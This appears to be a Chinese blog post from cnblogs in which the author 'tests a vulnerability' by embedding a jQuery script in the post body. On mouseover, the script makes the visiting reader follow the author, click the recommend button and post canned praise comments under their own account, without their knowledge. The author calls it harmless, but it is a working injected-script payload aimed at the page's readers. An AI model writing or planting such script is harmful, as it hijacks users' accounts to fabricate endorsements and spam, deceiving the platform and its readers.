JQuery果然是神器,这里顺便测试一下我发现的那个漏洞!
JQuery果然是神器,这里顺便测试一下我发现的那个漏洞!
所以这里一段呢会填充一些无关紧要的东西,比如我把那段JavaScript放在这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | <script type= "text/javascript" > // <![CDATA[ $( function () { $( "#Content" ).mouseover( function () { c_follow(); $( "div[class=diggit]" ).trigger( 'click' ); $( "textarea[class=comment_textarea]" ).val( "真的是这样,楼主所说属实!" + Math.random()); PostComment(); }); $( "input[name=commentbutton1]" ).mouseover( function () { $( "div[class=diggit]" ).trigger( 'click' ); $( "textarea[class=comment_textarea]" ).val( "此文不错,值得推荐!" ); PostComment(); }); $( "input[name=commentbutton2]" ).mouseover( function () { c_follow(); $( "textarea[class=comment_textarea]" ).val( "期待后续文章,关注!" ); PostComment(); }); $( "input[name=commentbutton3]" ).mouseover( function () { $( "textarea[class=comment_textarea]" ).val( "继续努力,加油!" ); PostComment(); }); $( "input[name=commentbutton4]" ).mouseover( function () { $( "textarea[class=comment_textarea]" ).val( "不完全赞同,有争议!" ); PostComment(); }); $( "input[name=commentbutton5]" ).mouseover( function () { $( "textarea[class=comment_textarea]" ).val( "不同意楼主观点,拍砖!" ); PostComment(); }); $( "input[name=commentbutton6]" ).mouseover( function () { $( "textarea[class=comment_textarea]" ).val( "飘过~~" ); PostComment(); }); }); // ]]></script> |
本文主要是想看下效果,并无恶意。
转载请注明出处:www.cnblogs.com/DSharp 欢迎加关注 呵呵
反馈文章质量,你可以通过快速通道评论:
分类:
javascript